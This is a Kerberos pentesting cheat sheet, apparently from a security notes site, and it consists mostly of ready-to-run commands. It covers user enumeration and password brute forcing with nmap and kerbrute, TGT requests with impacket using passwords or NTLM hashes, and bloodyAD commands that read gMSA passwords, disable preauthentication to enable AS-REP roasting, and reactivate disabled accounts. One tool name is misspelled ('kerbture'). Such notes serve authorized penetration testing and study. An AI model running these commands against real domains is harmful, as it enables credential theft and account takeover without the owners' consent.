Kerberos Pentesting

An authentication protocol that is used to verify the identity of a user or host. It uses cryptography for authentication and is consisted of the client, the server, and the Key Distribution Center (KDC). A default port is 88. Kerberos also uses a 464 port for changing passwords.

Enumeration

To enumerate automatically, you can use nmap.

nmap --script krb5-enum-users --script-args krb5-enum-users.realm='example.local'-p 88 <target-ip>

# --dc: domain controller
# -d: domain
# combos.txt: the wordlist specified must be combinations with "username:password".
kerbrute bruteforce --dc 10.0.0.1 -d example.domain combos.txt
# Users enumeration
kerbrute userenum --dc 10.0.0.1 -d example.domain usernames.txt
# Brute force user's password
kerbture bruteuser --dc 10.0.0.1 -d example.domain passwords.txt username

AS-REP Roasting

We might be able to find password hashes of user accounts that does not require preauthentication. Please see AS-REP Roasting.

Kerberoasting Attack

If we have a password of some user, we might be able to gather another user credential. Please see Kerberoasting Attack.

Get TGT

impacket-getTGT -dc-ip <target-ip> example.local/<username>:<password>
# or
impacket-getTGT -dc-ip <target-ip> example.local/<username> -hashes <ntlm_hash>

# If a TGT found, set the environment variable for further testing
export KRB5CCNAME=<username>.ccache

If we get a TGT of some user, we can use it for login or further enumeration.

Get Password Hashes

# Get the password of the Group Managed Service Account (gMSA)
bloodyAD --host dc.example.local --dc-ip <target-ip> -d example.local -u username -p password get object 'gMSA01$' --attr msDS-ManagedPassword
# -k: Use Kerberos authentication
bloodyAD --host dc.example.local --dc-ip <target-ip> -d example.local -k get object 'gMSA01$' --attr msDS-ManagedPassword

Account Manipulation

If an user has permission to modify access control for another user, we can manipulate the configuration.

Disable Preauth

bloodyAD --host dc.example.local --dc-ip <target-ip> -d example.local -u username -p password add uac <username> -f DONT_REQ_PREAUTH
# -k: With Kerberos authentication
bloodyAD --host dc.example.local --dc-ip <target-ip> -d example.local -k add uac <username> -f DONT_REQ_PREAUTH

If successful, an AS-REP Roasting attack could be used to obtain user password hashes.

Activate Accounts

If some users are disabled, we can activate them.

bloodyAD --host dc.example.local --dc-ip <target-ip> -d example.local -k remove uac <username> -f ACCOUNTDISABLE